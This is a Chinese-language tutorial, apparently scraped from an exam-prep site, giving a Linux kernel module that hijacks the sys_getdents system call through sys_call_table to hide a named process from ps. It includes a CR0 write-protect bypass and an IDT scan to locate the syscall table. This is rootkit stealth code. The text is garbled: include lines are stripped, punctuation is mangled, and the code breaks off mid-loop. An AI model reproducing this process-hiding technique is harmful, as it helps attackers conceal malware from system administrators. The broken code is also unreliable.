关于劫持系统调用隐藏进程Linux认证考试 PDF转换可能丢失图片或格式，建议阅读原文 https://www.100test.com/kao_ti2020/644/2021_2022__E5_85_B3_E4_BA_8E_E5_8A_AB_E6_c103_644826.htm 网上很多类似的文章,其中很多示例程序都是在比较老的内核版本上测试过,很多在新的内核下根本无法运行,我收集了一些相关的资料,并给出一个在linux内核2.6.28(ubuntu9.04)上可以运行的程序代码.相比其他一些文章,修改如下: 1.增加了两个函数,清CR0的第20位,不然在替换sys_call_table的时候会报段错误. unsigned int clear_and_return_cr0(void). void setback_cr0(unsigned int val). 2.针对ubuntu9.04中,ps命令用的系统调用是sys_getdents,不是sys_getdents64(在suse系统里面用的是sys_getdents64),所以程序中劫持的是sys_getdents的系统调用. 测试环境: ubuntu9.04 内核版本2.6.28 模块代码如下: /*hideps.c*/ #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. #include gt. //#include gt. //#include gt. #define CALLOFF 100 //使用模块参数来定义需要隐藏的进程名 int orig_cr0. char psname[10]="looptest". char *processname=psname. //module_param(processname, charp, 0). struct { unsigned short limit. unsigned int base. } __attribute__ ((packed)) idtr. struct { unsigned short off1. unsigned short sel. unsigned char none,flags. unsigned short off2. } __attribute__ ((packed)) * idt. struct linux_dirent{ unsigned long d_ino. unsigned long d_off. unsigned short d_reclen. char d_name[1]. }. void** sys_call_table. unsigned int clear_and_return_cr0(void) { unsigned int cr0 = 0. unsigned int

ret. asm volatile ("movl %%cr0, %" : "=a"(cr0)). ret = cr0. /*clear the 20th bit of CR0,*/ cr0 lt. start CALLOFF. p) if (*(p 0) == ’ \xff ’ amp. *(p 1) == ’ \x14 ’ amp. *(p 2) == ’ \x85 ’) return p.